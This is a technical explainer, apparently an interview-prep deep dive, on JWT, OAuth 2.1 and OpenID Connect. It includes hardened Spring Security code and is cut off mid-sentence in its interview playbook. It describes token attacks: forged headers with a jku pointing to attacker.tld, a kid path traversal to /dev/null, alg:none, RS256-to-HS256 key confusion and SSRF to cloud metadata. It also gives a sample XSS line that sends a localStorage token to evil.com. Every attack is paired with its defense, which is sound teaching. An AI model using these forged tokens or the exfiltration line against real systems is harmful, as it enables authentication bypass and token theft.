JWT, OAuth 2.1 & OpenID Connect (OIDC) โ Principal Architecture Deep Dive
Modern distributed identity is built on three distinct yet frequently conflated standards:
- JWT (JSON Web Token โ RFC 7519) & JOSE Suite: A cryptographic data container format for representing signed (
JWS) or encrypted (JWE) claims between parties. - OAuth 2.0 (RFC 6749) & OAuth 2.1: A delegated authorization framework governing how clients obtain scoped
access_tokencredentials to call resource APIs. - OpenID Connect (OIDC 1.0): A federated authentication & identity layer built on top of OAuth 2.0 that issues a signed
id_token(asserting who the authenticated user is) and standardizes discovery (/.well-known/openid-configuration).
1. JOSE & JWT Cryptographic Internals (JWS, JWE, JWK, JWKS)
A "JWT" on the wire is almost always a JWS (JSON Web Signature, RFC 7515) or, less commonly, a JWE (JSON Web Encryption, RFC 7516) serialized in Compact Format.
{"alg": "HS256", "typ": "JWT", "kid": "prod-rsa-2026"}{"alg": "RS256", "jku": "https://attacker.tld/jwks.json", "kid": "rogue-1"}{"alg": "HS256", "kid": "../../../../dev/null"}{"alg": "RS256", "typ": "JWT"} // Payload: {"aud": "analytics-svc", "sub": "admin"}Attacker fetches the server's public RSA key from /.well-known/jwks.json, switches header alg from RS256 to HS256, and signs the forged token using the raw PEM public key bytes as an HMAC symmetric secret. Naive verifiers pass the public key object into verify(token, key) without pinning the algorithm.
Explicitly pin the allowed cryptographic algorithm (RS256 or ES256) in the JWT verifier configuration and enforce key-type matching (RSAPublicKey cannot be used with Mac instances).
1.1 JWS (Signed) vs. JWE (Encrypted) Wire Format
| Specification | Structure | Wire Segments | Cryptographic Purpose | When to Use |
|---|---|---|---|---|
| JWS (RFC 7515) | Header.Payload.Signature | 3 parts (eyJ... . eyJ... . sig) | Integrity & Authenticity (Base64Url-encoded plaintext payload; anyone can read, only private key holder can sign) | 99% of microservice Access Tokens (at+jwt) and OIDC id_tokens |
| JWE (RFC 7516) | Header.EncryptedKey.IV.Ciphertext.AuthTag | 5 parts | Confidentiality + Integrity (AEAD) (Payload is encrypted via AES-GCM; opaque to intermediaries) | Passing sensitive PII/financial claims across untrusted clients without a BFF |
Nested JWT (JWS inside JWE) | Sign first (JWS), then encrypt (JWE) with header "cty": "JWT" | 5 parts | Non-repudiation + Confidentiality (Why sign-then-encrypt? Encrypting first allows an attacker to strip the outer signature and re-sign your ciphertext as their own!) | High-assurance Open Banking (FAPI 2.0) and healthcare federations |
1.2 Signing Algorithm Trade-Offs (HS256 vs RS256 vs ES256 vs EdDSA)
The JWS signature covers the exact ASCII bytes of Base64Url(Header) + "." + Base64Url(Payload):
Algorithm (alg) | Cryptographic Primitive | Key Size | Signature Size | Sign / Verify CPU Cost | Principal Architecture Verdict |
|---|---|---|---|---|---|
HS256 | Symmetric HMAC-SHA256 | () | Ultra-Fast () | โ Dangerous in Microservices: Every verifier shares the signing secret. One breached service can forge admin tokens for the entire cluster. | |
RS256 | Asymmetric RSASSA-PKCS1-v1_5 + SHA-256 | () | Signing slow (); Verify fast () | โ Enterprise Default: Universal compatibility across legacy and modern gateways. Private key stays locked in IdP/HSM; verifiers only fetch public JWKS. | |
PS256 | Asymmetric RSASSA-PSS + SHA-256 | () | Similar to RS256 | โ FAPI / Banking Standard: Probabilistic padding eliminates deterministic PKCS#1 v1.5 mathematical weaknesses. | |
ES256 | Asymmetric ECDSA (P-256 / secp256r1) + SHA-256 | () | Signing faster than RSA; Verify | ๐ Cloud-Native Best Practice: Shrinks HTTP Authorization header size by 256 bytes per request compared to RS256. | |
EdDSA | Edwards-curve (Ed25519) | () | Fast Sign & Verify, deterministic nonce | ๐ Modern Zero-Trust Ideal: Immune to ECDSA biased-randomness (k nonce reuse) private-key recovery attacks. |
[!CAUTION] The ECDSA Nonce Reuse Catastrophe (
ES256): In ECDSA, signing requires a cryptographically random per-signature ephemeral number . If a faulty PRNG ever produces the same for two different tokens, anyone with the two public signatures can algebraically solve for the IdP's private key in milliseconds. Always use deterministic ECDSA (RFC 6979) orEd25519(EdDSA).
1.3 JWKS Key Rotation & The "Unknown kid" DDoS Trap
In production, an Identity Provider exposes its public verification keys at a JWKS (JSON Web Key Set, RFC 7517) endpoint (e.g., https://auth.example.com/.well-known/jwks.json):
{
"keys": [
{
"kty": "EC",
"crv": "P-256",
"use": "sig",
"alg": "ES256",
"kid": "key-2026-10-active",
"x": "f83OJ3D2xF1Bg8vub9tLe1gHMzV76e8Tus9uPHvRVEU",
"y": "x_FEzRu9m36HLN_tue659LNpXW6pCyStikYjKIWI5a0"
},
{
"kty": "EC",
"crv": "P-256",
"use": "sig",
"alg": "ES256",
"kid": "key-2026-09-retiring",
"x": "1Hr3...",
"y": "9Kp2..."
}
]
}
Zero-Downtime Key Rotation Lifecycle (3-Phase Rollover):โ
If the IdP immediately generates a new key kid="key-new" and starts signing tokens with it, downstream microservices whose local JWKS cache has not refreshed will reject valid user tokens with 401 Unauthorized!
- Phase 1 โ Pre-Publish (Passive Warmup): Add
key-newto the/.well-known/jwks.jsonresponse without signing tokens with it yet. Wait for at least (e.g., if microservice cache TTL is 15 minutes, wait 30 minutes) so every microservice pod cacheskey-new. - Phase 2 โ Active Signing Flip: Switch the IdP signer to sign all newly minted JWTs with
kid="key-new". Keepkey-oldinjwks.jsonso in-flight tokens signed seconds before the flip remain verifiable until theirexp(e.g., 15 minutes). - Phase 3 โ Decommission: Once , remove
key-oldfromjwks.json.
The "Unknown kid" Cache-Bypass DDoS Vector:โ
When a microservice encounters a JWT with a kid not in its local memory cache, libraries like Nimbus RemoteJWKSet automatically trigger a synchronous HTTP GET to the IdP's /jwks.json endpoint in case keys just rotated.
- The Attack: An attacker sends 50,000 requests/sec with forged JWT headers containing random
kid: "uuid-1",kid: "uuid-2". Every request bypasses the local JWKS cache and hammers the IdP's/jwks.jsonendpoint, causing thread-pool exhaustion across all microservices and taking down the Identity Provider! - The Principal Fix: Enforce rate-limited negative caching / cooldowns on JWKS refreshes (e.g., Nimbus
DefaultJWKSetCachewithrefreshTimecooldown of 60 seconds, single-flight request coalescing, and circuit breaking).
1.4 Cryptographic & Header Injection Attacks on JWT
- The
alg: noneSignature Bypass:- Mechanism: The JWA specification (RFC 7518) included
"alg": "none"for "Unsecured JWS" (when integrity is already guaranteed by another layer). Attackers decode a JWT, change"sub": "admin", set"alg": "none", and strip the signature (header.payload.). - Defense: Use
parseSignedClaims()(JJWT) orSignedJWTwith an explicit algorithm allowlist (JWSAlgorithm.ES256,JWSAlgorithm.RS256).
- Mechanism: The JWA specification (RFC 7518) included
- The
RS256HS256Key Confusion Attack:- Mechanism: The server normally signs with an RSA private key (
RS256) and verifies with an RSA public key (RSAPublicKey). Because the RSA public key is public (available at/jwks.json), an attacker downloads the exact PEM string of the public key, changes the JWT header to"alg": "HS256", and computes anHMAC-SHA256signature using the public key bytes as the symmetric HMAC secret. Broken verification code that inspectsheader.algand passespublicKeyBytesintoverify(token, keyBytes)executesHMAC(publicKeyBytes)and accepts the forged token! - Defense: Pin the expected
JWSAlgorithmon the verifier and bind keys strictly by Java type (RSAPublicKey/ECPublicKeycannot be passed toMACVerifier).
- Mechanism: The server normally signs with an RSA private key (
jku/x5uSSRF & EmbeddedjwkSelf-Signing:- Mechanism: RFC 7515 defines optional headers:
jku(JWK Set URL),x5u(X.509 URL), andjwk(Embedded Public Key). Attackers sign a token with their own private key and either embed the matching public key insideheader.jwkor pointheader.jkutohttps://attacker.com/jwks.json(or an internal AWS metadata IPhttp://169.254.169.254/...for SSRF). - Defense: Never resolve verification keys from URLs or keys inside the unverified JWT header. Only resolve keys from a statically configured/discovered IdP
jwks_uri.
- Mechanism: RFC 7515 defines optional headers:
kidPath Traversal & SQL Injection:- Mechanism: Since
kidis read before signature verification, if a custom verifier loads keys from disk (new File("/keys/" + header.getKeyId())), an attacker sets"kid": "../../../../dev/null". Since/dev/nullreturns0bytes (""), the attacker signs anHS256token using an empty string secret""and bypasses authentication. - Defense: Validate
kidagainst^[a-zA-Z0-9_-]{1,64}$before looking it up in an in-memoryMap<String, JWK>.
- Mechanism: Since
2. OAuth 2.0 & OAuth 2.1 Architecture Deep Dive
OAuth 2.0 (RFC 6749) was published in 2012. Over the next decade, several original grant types proved catastrophically insecure in modern web/mobile environments. OAuth 2.1 consolidates RFC 6749 with security extensions (RFC 7636 PKCE, RFC 8252 Native Apps, RFC 9700 Security Best Current Practice).
state prevents cross-site login CSRF on the callback URI. PKCE binds the authorization code to the initiating client via SHA-256(code_verifier). nonce binds the OIDC id_token to prevent token replay.id_token is consumed exclusively by the Client (aud = client_id) to read user authentication context. It must never be sent to Resource APIs as a Bearer token.response_type=token) and Password Grant (ROPC), mandates PKCE for all clients (even confidential), and requires exact redirect_uri matching.2.1 OAuth 2.0 vs. OAuth 2.1: What Changed and Why?
| Feature / Grant Type | OAuth 2.0 (RFC 6749) | OAuth 2.1 Consolidated Spec | Architectural Rationale |
|---|---|---|---|
| Authorization Code Flow + PKCE | Optional extension (RFC 7636) for mobile apps | Mandatory (S256) for ALL clients (Public SPAs, Mobile, AND Confidential Backend Servers) | Protects against authorization code interception AND authorization code injection attacks on confidential servers. |
Implicit Grant (response_type=token) | Standard flow for SPAs | โ Completely Removed | Returning access_token in the URL fragment (#access_token=...) leaks tokens via browser history, Referer headers, DOM XSS scripts, and has no Refresh Token support. |
Resource Owner Password Credentials (grant_type=password) | Allowed for "trusted" first-party apps | โ Completely Removed | Exposes raw user passwords to the client app, breaks Federated SSO, and makes MFA/Passkeys/WebAuthn impossible to enforce cleanly. |
redirect_uri Validation | Prefix or wildcard matching often permitted | Exact byte-for-byte string matching required | Wildcard redirect_uri (https://*.example.com/*) enables open-redirect token theft via subdomain takeover or open redirectors. |
Bearer Token in URL Query (?access_token=...) | Permitted by RFC 6750 Section 2.3 | โ Forbidden | Query parameters are logged in plaintext across CDNs, reverse proxies, load balancers, and APM traces. Only Authorization header is permitted. |
| Refresh Tokens for Public Clients | Unspecified | Must be Sender-Constrained (DPoP/mTLS) OR Rotation-Enabled (RTR) | Prevents silent long-term account hijacking when a public client's storage is compromised. |
2.2 Under the Hood of PKCE (RFC 7636) โ Why state Is Not Enough
A classic senior interview question is: "Why do we need both state and PKCE (code_challenge)? Aren't they both random strings?"
๐ OAuth 2.0 Authorization Code Flow + PKCE
1. Generate Verifier & Challenge
Client App generates a random high-entropy string (code_verifier). It computes code_challenge = Base64Url(SHA-256(code_verifier)). Plaintext verifier stays safe in App memory.
code_verifier: "xyz123random..." code_challenge: "SHA256_hash_abc..."
๐ก Step through the guide to learn how PKCE blocks auth code interception attacks on public clients (SPA / Mobile).
The Mathematical & Protocol Distinction:โ
state(Cross-Site Request Forgery / Login CSRF Protection):- Generated by the Client, stored in the user's local browser session/cookie, sent on
/authorize, and echoed back verbatim by the IdP on the/callback?code=...&state=...redirect. - What it stops: Attacker initiates a login flow with the attacker's own account, intercepts their own
code_attacker, and tricks a victim's browser into visitinghttps://app.com/callback?code=code_attacker(Login CSRF โ linking the victim's session to the attacker's account). Becausestatedoesn't match the victim's browser session, the callback is rejected. - Why
statefails against Code Interception:statetravels in plaintext in the initial front-channel/authorizeURL AND the/callbackURL. Anything that intercepts the front-channel redirect (compromised mobile custom URI schememyapp://callback, malicious browser extension, proxy log) sees bothcodeandstate!
- Generated by the Client, stored in the user's local browser session/cookie, sent on
PKCE(Proof Key for Code Exchange โ Cryptographic Code Binding):- Step 1: Client generates a high-entropy cryptographic secret
code_verifier(43 to 128 URL-safe characters, of entropy). - Step 2: Client computes the one-way SHA-256 hash:
- Step 3: Client sends only
code_challengeandcode_challenge_method=S256on the front-channel/authorizeredirect. The IdP stores inside the issued authorization code state. - Step 4: When exchanging the
codevia the back-channelPOST /token, the Client sends the rawcode_verifier. The IdP computes and compares it in constant time with the storedcode_challenge. - Why
plainmethod must be banned: PKCE definesplain(code_challenge == code_verifier) only for legacy constrained devices. In production, always forcecode_challenge_method=S256; otherwise an eavesdropper on/authorizealready has the verifier.
- Step 1: Client generates a high-entropy cryptographic secret
2.3 BFF (Backend-For-Frontend) Token Handler Pattern for SPAs
Storing raw JWT access_token or refresh_token in browser localStorage or sessionStorage leaves applications completely exposed to Cross-Site Scripting (XSS) (a single compromised npm dependency or injected script can execute fetch('https://evil.com', { body: localStorage.getItem('token') })).
HttpOnly; Secure; SameSite=Strict session cookie. Real OAuth access and refresh tokens are stored exclusively in the BFF server-side session, rendering XSS token theft completely impossible.In the BFF Token Handler Architecture (recommended by the IETF OAuth Working Group draft-ietf-oauth-browser-based-apps):
- The React/Next.js/Angular SPA never touches
access_token,refresh_token, orid_token. - A lightweight edge BFF proxy (e.g., Spring Cloud Gateway with
oauth2Login()+TokenRelay=filter, or Duende/Kong BFF) acts as a Confidential OAuth Client. - The BFF performs the Authorization Code + PKCE exchange using its confidential
client_secret/private_key_jwt, stores the OAuth tokens in an encrypted server-side Redis session (or encrypted cookie chunk), and issues anHttpOnly; Secure; SameSite=Strict; Path=/apisession cookie (__Host-session) to the browser. - Notice the
__Host-Cookie Prefix: Setting the cookie name to__Host-sessionforces the browser to enforce that the cookie hasSecure=true,Path=/, and noDomainattribute, preventing a compromised sibling subdomain (blog.example.com) from overwriting or tossing cookies ontoapp.example.com(Cookie Tossing Attack)!
3. OpenID Connect (OIDC) Internals & Identity Federation
OAuth 2.0 intentionally omitted user identity: an OAuth 2.0 access_token is opaque to the Client (it is meant for the Resource Server, not the Client). Early developers abused OAuth 2.0 for login by calling a proprietary /me API with the access token, which led to severe Token Substitution / Confused Deputy vulnerabilities. OpenID Connect (OIDC) solved this by introducing the id_token.
๐ OpenID Connect (OIDC) Flow & Identity Layer
๐ก OpenID Connect (OIDC) is a simple identity layer built on top of the OAuth 2.0 framework. It enables clients to verify the identity of the End-User based on the authentication performed by an Authorization Server, as well as to obtain basic profile information about the End-User in a interoperable and REST-like manner.
3.1 id_token vs. access_token โ The Iron Law of Separation
| Dimension | OIDC id_token | OAuth 2.0 / 2.1 access_token (RFC 9068 at+jwt) |
|---|---|---|
| Primary Purpose | Authentication Proof: Tells the Client App "Who just logged in, when, and how" (amr, acr, auth_time) | Authorization Credential: Tells the Resource Server (API) "What scopes/permissions this caller is granted" |
Intended Audience (aud) | The client_id of the Relying Party (e.g., "aud": "web-spa-client") | The URI of the target Resource Server (e.g., "aud": "https://api.payments.internal") |
JOSE Header typ | "typ": "JWT" | "typ": "at+jwt" (RFC 9068 explicit typing prevents cross-token confusion) |
| Who Validates It? | The Client App / BFF upon receiving it from /token | The Resource Server / API Gateway on every incoming API call |
Should It Be Sent in Authorization: Bearer to Backend APIs? | โ NEVER! Sending id_token as an API Bearer token violates OIDC spec and allows any third-party app where the user logged in to impersonate the user on your API! | โ YES |
3.2 Critical OIDC Claims: nonce, at_hash, azp, acr, amr
{
"iss": "https://idp.example.com",
"sub": "usr_9f8a7b6c5d4e",
"aud": "checkout-web-client",
"azp": "checkout-web-client",
"exp": 1760602200,
"iat": 1760601900,
"auth_time": 1760601895,
"nonce": "n-0S6_WzA2Mj",
"at_hash": "77QmUPtjPfzWtF2AnpK9RQ",
"acr": "urn:mace:incommon:iap:silver",
"amr": ["pwd", "hwk", "mfa"],
"sid": "sess_8812_global"
}
nonce(Number Used Once): Generated by the client before/authorize, stored in anHttpOnlycookie bound to the browser, passed to/authorize, and embedded inside the signedid_token. The client must verify thatid_token.nonce == cookie.nonceto prevent ID Token Replay & Mix-Up Attacks.at_hash(Access Token Hash): The left-most 128 bits of the SHA-256 hash of the ASCIIaccess_token, Base64Url-encoded. Cryptographically binds theid_tokento theaccess_tokenso an attacker cannot swap a legitimateid_tokenwith a differentaccess_token.acr(Authentication Context Class Reference) &amr(Authentication Methods References): Allows Resource Servers to enforce Step-Up Authentication (e.g.,/api/wire-transferrequiresamrto contain"mfa"or"hwk"hardware key andauth_timewithin the last 5 minutes; otherwise returns401 WWW-Authenticate: Bearer error="insufficient_user_authentication", max_age=300).sid(Session ID): Identifies the user's SSO session at the IdP for OIDC Back-Channel Logout.
3.3 OIDC Single Logout: Front-Channel vs. Back-Channel Logout
When an enterprise user logs out of Okta/Keycloak or clicks "Sign Out" in App A, how do App B and App C terminate their local sessions?
- Front-Channel Logout: The IdP renders an HTML page containing hidden
<iframe src="https://app-b.com/oidc/logout?iss=...&sid=...">tags. The user's browser sends App B's cookies to clear the session.- Production Flaw: Modern browsers (Safari ITP, Firefox ETP, Brave, Chrome third-party cookie restrictions) block third-party cookies inside cross-origin
<iframe>elements, causing Front-Channel Logout to silently fail!
- Production Flaw: Modern browsers (Safari ITP, Firefox ETP, Brave, Chrome third-party cookie restrictions) block third-party cookies inside cross-origin
- Back-Channel Logout (OpenID Connect Back-Channel Logout 1.0):
- The IdP makes a direct server-to-server
POST https://app-b.com/backchannel-logoutrequest carrying a signedlogout_tokenJWT. - The
logout_tokencontains"events": { "http://schemas.openid.net/event/backchannel-logout": {} }, thesuborsidclaim, and explicitly omits thenonceclaim (and sets"typ": "logout+jwt") so alogout_tokencan never be replayed as anid_token. - App B validates the
logout_tokensignature and immediately evictssidfrom its Redis session store.
- The IdP makes a direct server-to-server
4. Enterprise Microservices Token Patterns
4.1 The Phantom Token Pattern (Edge Opaque Internal JWT)
How do you prevent external clients from inspecting internal authorization claims (tenant_tier, internal_roles, org_uuid) while still keeping internal microservices 100% stateless?
2. Instant Edge Revocation + Internal Statelessness: Revoking the opaque token at the IdP/API Gateway blocks external traffic immediately, while internal microservices still enjoy 0-DB-lookup stateless JWT verification.
- External Issuance: The Authorization Server issues a high-entropy Opaque Reference Token (e.g.,
8f9d2a1b-4c3e-...) to the mobile or web client. - API Gateway Introspection & Translation: When a request arrives at the Edge API Gateway (Envoy / Kong / Spring Cloud Gateway), the Gateway calls the IdP's Token Introspection Endpoint (RFC 7662) (
POST /oauth/introspectwithAccept: application/jwt) or looks up the opaque token in a shared Edge Redis cache. - Downstream JWS Propagation: The Gateway replaces
Authorization: Bearer <opaque>withAuthorization: Bearer <signed_JWS>before forwarding the request inside the private VPC/Service Mesh. Downstream microservices verify the JWS signature locally with zero external network calls.
4.2 OAuth 2.0 Token Exchange (RFC 8693) โ Preventing Confused Deputies in Deep Call Graphs
Suppose a user calls OrderService with an Access Token, and OrderService needs to call ShippingService and FraudService.
- The Anti-Pattern (Blind Token Forwarding):
OrderServicesimply forwards the user's incoming JWT toShippingService, and both services accept"aud": "internal-apis". If a low-security service (NotificationService) is compromised by an attacker, the attacker can take any incoming user's JWT and replay it directly againstPaymentService! - The Principal Pattern (RFC 8693 Token Exchange):
OrderServicesends the incomingsubject_tokento the Auth Server withgrant_type=urn:ietf:params:oauth:grant-type:token-exchange, requestingaudience=https://shipping.internaland reduced scopes (shipping:estimate).- The Auth Server returns a down-scoped JWT with
"aud": "https://shipping.internal"and anact(Actor) claim recording the delegation chain:{"sub": "usr_9f8a7b6c5d4e","aud": "https://shipping.internal","scope": "shipping:estimate","act": {"sub": "spiffe://prod.internal/ns/core/sa/order-service"}} ShippingServiceverifies both who the end-user is (sub) and which microservice is acting on their behalf (act.sub), creating a tamper-proof zero-trust audit trail.
4.3 Sender-Constrained Tokens: DPoP (RFC 9449) & mTLS (RFC 8705)
Bearer token is like cash: any attacker who exfiltrates it from logs, proxy dumps, or XSS can replay it from any machine. With DPoP or mTLS, the token embeds a cryptographic confirmation claim (cnf) containing the SHA-256 thumbprint of the client's public key. Stolen tokens are useless without the non-exportable private key.| Attribute | Bearer Token (RFC 6750) | DPoP (RFC 9449 โ Application Layer) | mTLS Bound Token (RFC 8705 โ Transport Layer) |
|---|---|---|---|
| Theft Resilience | โ Zero (Replayable from any machine until exp) | โ High (Requires private key in WebCrypto / Secure Enclave) | โ Highest (Bound to client X.509 certificate in TLS handshake) |
Confirmation Claim (cnf) | None | "cnf": { "jkt": "<SHA-256 JWK Thumbprint>" } | "cnf": { "x5t#S256": "<SHA-256 Cert Thumbprint>" } |
| Browser / SPA Support | Native | โ
Supported via WebCrypto API (extractable: false CryptoKey) | โ Poor (Browser client cert UX prompts are unusable for consumers) |
| Reverse Proxy / CDN Impact | Transparent | โ
Transparent (Travels in standard HTTP DPoP header) | โ ๏ธ Requires TLS termination passthrough or proxy cert header forwarding |
| Primary Use Case | General internal APIs with short TTLs | SPAs, Mobile Apps, Public Clients | Service-to-Service M2M, Open Banking (FAPI), SPIFFE/SPIRE |
5. Production Implementation (Java 21 & Spring Security 6.x)
5.1 Hardened Spring Security 6 OAuth2 Resource Server (Algorithm Pinning + RFC 9068 at+jwt + aud Validation)
Default JWT configurations often validate only iss and exp. In production, you must explicitly pin the asymmetric algorithm, validate typ="at+jwt" (to block OIDC id_token replay), and enforce strict aud (Audience) matching:
package com.example.security.config;
import com.nimbusds.jose.JOSEObjectType;
import com.nimbusds.jose.JWSAlgorithm;
import com.nimbusds.jose.proc.DefaultJOSEObjectTypeVerifier;
import com.nimbusds.jose.proc.JWSVerificationKeySelector;
import com.nimbusds.jose.proc.SecurityContext;
import com.nimbusds.jose.jwk.source.JWKSource;
import com.nimbusds.jose.jwk.source.JWKSourceBuilder;
import com.nimbusds.jwt.proc.ConfigurableJWTProcessor;
import com.nimbusds.jwt.proc.DefaultJWTProcessor;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.method.configuration.EnableMethodSecurity;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configurers.AbstractHttpConfigurer;
import org.springframework.security.config.http.SessionCreationPolicy;
import org.springframework.security.oauth2.core.DelegatingOAuth2TokenValidator;
import org.springframework.security.oauth2.core.OAuth2Error;
import org.springframework.security.oauth2.core.OAuth2TokenValidator;
import org.springframework.security.oauth2.core.OAuth2TokenValidatorResult;
import org.springframework.security.oauth2.jwt.Jwt;
import org.springframework.security.oauth2.jwt.JwtClaimValidator;
import org.springframework.security.oauth2.jwt.JwtDecoder;
import org.springframework.security.oauth2.jwt.JwtTimestampValidator;
import org.springframework.security.oauth2.jwt.JwtValidators;
import org.springframework.security.oauth2.jwt.NimbusJwtDecoder;
import org.springframework.security.web.SecurityFilterChain;
import java.net.URI;
import java.time.Duration;
import java.util.List;
import java.util.Set;
@Configuration
@EnableWebSecurity
@EnableMethodSecurity
public class HardenedResourceServerConfig {
@Value("${security.oauth2.issuer-uri:https://auth.example.com}")
private String issuerUri;
@Value("${security.oauth2.jwks-uri:https://auth.example.com/.well-known/jwks.json}")
private String jwksUri;
@Value("${security.oauth2.expected-audience:https://api.payments.example.com}")
private String expectedAudience;
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http, JwtDecoder hardenedJwtDecoder)
throws Exception {
return http
.csrf(AbstractHttpConfigurer::disable)
.sessionManagement(s -> s.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
.authorizeHttpRequests(auth -> auth
.requestMatchers("/actuator/health", "/actuator/prometheus").permitAll()
.anyRequest().authenticated()
)
.oauth2ResourceServer(oauth2 -> oauth2
.jwt(jwt -> jwt.decoder(hardenedJwtDecoder))
)
.build();
}
@Bean
public JwtDecoder hardenedJwtDecoder() throws Exception {
// 1. Build resilient JWKSource with TTL caching, refresh cooldown (prevents kid DDoS),
// and outage tolerance (serves stale keys if IdP is temporarily unreachable)
JWKSource<SecurityContext> jwkSource = JWKSourceBuilder
.create(URI.create(jwksUri).toURL())
.cache(Duration.ofHours(2).toMillis(), Duration.ofMinutes(1).toMillis()) // 2h TTL, 1m refresh cooldown
.rateLimited(Duration.ofSeconds(30).toMillis()) // Anti-stampede rate limit on unknown kid
.outageTolerant(Duration.ofHours(4).toMillis()) // Survive IdP control-plane outage
.build();
ConfigurableJWTProcessor<SecurityContext> jwtProcessor = new DefaultJWTProcessor<>();
// 2. Enforce RFC 9068 explicit typing: only accept Access Tokens (at+jwt or JWT), NEVER id_token/logout+jwt
jwtProcessor.setJWSTypeVerifier(new DefaultJOSEObjectTypeVerifier<>(
new JOSEObjectType("at+jwt"),
JOSEObjectType.JWT
));
// 3. Pin asymmetric algorithms explicitly (prevents alg:none and RS256->HS256 key confusion)
jwtProcessor.setJWSKeySelector(new JWSVerificationKeySelector<>(
Set.of(JWSAlgorithm.ES256, JWSAlgorithm.RS256),
jwkSource
));
NimbusJwtDecoder decoder = new NimbusJwtDecoder(jwtProcessor);
// 4. Validate Issuer, Timestamp (with 30s clock skew), and strict Audience (prevents confused deputy)
OAuth2TokenValidator<Jwt> issuerValidator = JwtValidators.createDefaultWithIssuer(issuerUri);
OAuth2TokenValidator<Jwt> timestampValidator = new JwtTimestampValidator(Duration.ofSeconds(30));
OAuth2TokenValidator<Jwt> audienceValidator = new JwtClaimValidator<List<String>>(
"aud",
audList -> audList != null && audList.contains(expectedAudience)
);
OAuth2TokenValidator<Jwt> blockIdTokenValidator = token -> {
// Defense-in-depth: reject any token carrying OIDC id_token-specific nonce or at_hash claims
if (token.hasClaim("nonce") || token.hasClaim("at_hash")) {
return OAuth2TokenValidatorResult.failure(
new OAuth2Error("invalid_token", "OIDC ID Token cannot be used as an API Access Token", null)
);
}
return OAuth2TokenValidatorResult.success();
};
decoder.setJwtValidator(new DelegatingOAuth2TokenValidator<>(
issuerValidator,
timestampValidator,
audienceValidator,
blockIdTokenValidator
));
return decoder;
}
}
5.2 Cryptographic PKCE (S256) & OIDC at_hash Computation in Java 21
package com.example.security.crypto;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.util.Arrays;
import java.util.Base64;
public final class OidcPkceCryptoUtils {
private static final SecureRandom SECURE_RANDOM = new SecureRandom();
private static final Base64.Encoder BASE64_URL_NOPAD = Base64.getUrlEncoder().withoutPadding();
private OidcPkceCryptoUtils() {}
/**
* Generates a RFC 7636 compliant 256-bit high-entropy code_verifier (43 Base64Url characters).
*/
public static String generateCodeVerifier() {
byte[] randomBytes = new byte[32]; // 256 bits of entropy
SECURE_RANDOM.nextBytes(randomBytes);
return BASE64_URL_NOPAD.encodeToString(randomBytes);
}
/**
* Computes RFC 7636 S256 code_challenge = Base64UrlWithoutPadding(SHA-256(ASCII(code_verifier))).
*/
public static String computeS256CodeChallenge(String codeVerifier) {
try {
MessageDigest sha256 = MessageDigest.getInstance("SHA-256");
byte[] digest = sha256.digest(codeVerifier.getBytes(StandardCharsets.US_ASCII));
return BASE64_URL_NOPAD.encodeToString(digest);
} catch (NoSuchAlgorithmException e) {
throw new IllegalStateException("SHA-256 unavailable in JVM", e);
}
}
/**
* Constant-time verification of PKCE code_verifier against stored code_challenge.
*/
public static boolean verifyPkceS256(String receivedVerifier, String storedChallenge) {
String computed = computeS256CodeChallenge(receivedVerifier);
return MessageDigest.isEqual(
computed.getBytes(StandardCharsets.US_ASCII),
storedChallenge.getBytes(StandardCharsets.US_ASCII)
);
}
/**
* Computes OIDC Core 1.0 Section 3.1.3.6 at_hash claim:
* Left-most 128 bits (16 bytes) of SHA-256(ASCII(access_token)), Base64Url-encoded without padding.
*/
public static String computeAtHash(String accessToken) {
try {
MessageDigest sha256 = MessageDigest.getInstance("SHA-256");
byte[] fullHash = sha256.digest(accessToken.getBytes(StandardCharsets.US_ASCII));
byte[] leftHalf = Arrays.copyOfRange(fullHash, 0, fullHash.length / 2); // 16 bytes (128 bits)
return BASE64_URL_NOPAD.encodeToString(leftHalf);
} catch (NoSuchAlgorithmException e) {
throw new IllegalStateException("SHA-256 unavailable in JVM", e);
}
}
}
Senior/Staff Interview Playbook: How to Ace JWT, OAuth 2.0 & OIDC Interviews
When an interviewer asks "How would you design authentication and authorization for our web, mobile, and microservice platform?" or "Explain how JWT, OAuth 2.0, and OpenID Connect work together", use this structured Principal framework.
1. The Senior Framing Strategy (First 60 Seconds)
In the first 60 seconds, establish clear architectural boundaries before drawing a single box:
- Separate the Three Orthogonal Concerns:
- OAuth 2.1 is the delegated authorization protocol (how a client obtains a token).
- OIDC is the federated identity protocol on top of OAuth (how the client authenticates the user via
id_token). - JWT (
JWS) is the cryptographic wire format used to represent tokens without stateful DB lookups.
- State the Non-Negotiable Cryptographic & Protocol Invariants:
- Asymmetric Signing Only (
ES256/RS256): The Identity Provider (IdP) signs tokens with a private key locked in KMS/HSM; microservices verify signatures locally using cached public keys from/.well-known/jwks.json. Never use symmetricHS256across microservices. - Authorization Code + PKCE (
S256) Everywhere: All human-facing flows (Web BFF, SPA, iOS/Android) use Authorization Code + PKCE. Implicit and Password grants are dead (OAuth 2.1). - Strict Token Separation (
id_tokenaccess_token): Theid_tokenstays at the Client/BFF (aud = client_id); theaccess_token(typ = at+jwt,aud = api_uri) goes to Resource Servers.
- Asymmetric Signing Only (
- Quantify Capacity, Header Overhead & Cache Math:
- Wire Bandwidth: A 2048-bit
RS256JWT with 25 RBAC roles is , sent on every HTTP request (approaching Nginx's defaultlarge_client_header_bufferslimit). Switching toES256saves on the signature alone, and adopting the Phantom Token Pattern keeps external payloads under . - Control-Plane Isolation: Microservices cache JWKS keys in memory for with outage tolerance (
outageTolerant(4h)). Even if the IdP goes down for maintenance, existing token verification continues at with network latency.
- Wire Bandwidth: A 2048-bit
2. Classic Interviewer Traps & Principal Rebuttals
Trap 1: "We built 'Log in with Google' using pure OAuth 2.0 by exchanging the code for an access_token and trusting that the user is logged in. Is that secure?"โ
- Junior/Mid Answer: "Yes, OAuth 2.0 is the industry standard for social login. Once you get an access token from Google, you know the user authenticated."
- Principal Rebuttal: "No โ pure OAuth 2.0 is a delegated authorization framework, not an authentication protocol. An OAuth 2.0
